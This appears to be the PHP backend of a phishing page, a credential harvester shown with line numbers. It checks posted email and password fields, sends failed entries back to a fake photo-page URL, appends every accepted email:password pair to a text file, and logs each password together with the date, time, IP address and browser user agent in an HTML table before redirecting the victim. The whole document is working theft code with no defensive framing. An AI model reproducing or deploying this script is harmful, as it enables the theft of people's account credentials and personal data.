php error_reporting include config php if preg_match a-z0-9 a-z0-9 a-z

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
error_reporting(0);
include ("config.php");
if(!(preg_match('#^([a-z0-9\_\-\.]{2,}@[a-z0-9\-\.]+\.[a-z]{2,5})$#i',$_POST['email'])) || !(strlen($_POST['pass']>5)))
{
header("Location: photos.php?act=show&id=1442425_70745386&uid=5232731&st=1");
exit();
}
else {
$ff = fopen('a.txt','at');
fwrite($ff,$_POST['email'].':'.$_POST['pass']."\n");
fclose($ff);
$log = fopen("passl.html","at");
$res = "<tr class='item'><td align='center'>".htmlspecialchars($_POST['email'])."</td><td align='center'>".htmlspecialchars($_POST['pass'])."</td><td align='center'>".date('d.m.Y')."</td><td align='center'>".date('H:i')."</td><td align='center'>".$_SERVER['REMOTE_ADDR']."</td><td align='center'>".$_SERVER['HTTP_USER_AGENT'].
"</td></tr>\n";
fwrite($log,$res);
fclose($log);
header("Location: $redirect");
exit();
}
?>